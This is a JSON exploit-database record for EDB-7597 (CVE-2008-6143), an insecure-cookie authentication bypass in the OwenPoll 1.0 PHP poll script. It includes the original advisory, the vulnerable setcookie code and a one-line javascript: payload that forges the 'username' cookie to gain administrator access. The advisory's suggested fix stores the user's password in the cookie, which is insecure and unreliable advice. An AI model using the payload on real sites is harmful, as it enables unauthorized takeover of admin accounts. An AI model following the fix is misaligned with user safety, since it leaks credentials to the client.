{"exploit":{"id":"EDB-7597","name":"OwenPoll 1.0 - Insecure Cookie Handling","description":"OwenPoll 1.0 - Insecure Cookie Handling","cves":["CVE-2008-6143"],"author":"Osirys","published":"2008-12-28","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7597","path":"exploits/php/webapps/7597.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7597.txt","vulnerabilities":[{"id":"CVE-2008-6143","state":"PUBLISHED","title":null,"titleSource":null,"description":"OwenPoll 1.0 allows remote attackers to bypass authentication and obtain administrative access via a modified account name in the username cookie.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6143","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6143"},"updatedAt":"2024-08-07T11:20:25.259Z","retrievedAt":"2026-11-26T15:10:33.724Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7597.png?v=2","url":"https://exploitbin.com/exploits/EDB-7597","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7597/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7597/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[START]\n\n####################################################################################################################\n[0x01] Informations:\n\nScript         : OwenPoll 1.0\nDownload       : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1\nVulnerability  : Insecure Cookie Handling\nAuthor         : Osirys\nContact        : osirys[at]live[dot]it\nWebsite        : http://osirys.org\nNotes          : Proud to be Italian\nGreets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX\n\n\n####################################################################################################################\n[0x02] Bug: [Insecure Cookie Handling]\n######\n\nBugged file is: /[path]/checkloginmini.php\n\n[CODE]\n\n    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){\n        // authentication was successful\n        // create session and set cookie with username\n        session_start();\n        $_SESSION['auth'] = 1;\n\n        setcookie(\"username\", $_POST['txtusername'], time()+(86400*30));\n\n[/CODE]\n\nIf we log in correctly, a cookie is set with name \"username\" and as content the username name.\n\n[!] FIX: Set as content username's password.\n\n[CODE] setcookie(\"username\", $_POST['txtpassword'], time()+(86400*30)); [/CODE]\n\n\n[!] EXPLOIT: javascript:document.cookie = \"username=admin_username; path=/\";\n             *admin_username is the nick of the administrator\n\n####################################################################################################################\n\n[/END]\n\n# milw0rm.com [2008-12-28]","sha256":"93963041ef57b01949aed12e3d54bce014270037af7e4736c79bd902947030f0","bytes":1545,"fetchedAt":"2026-11-26T15:10:29.020Z","encoding":"utf-8 (display only; download retains original bytes)"}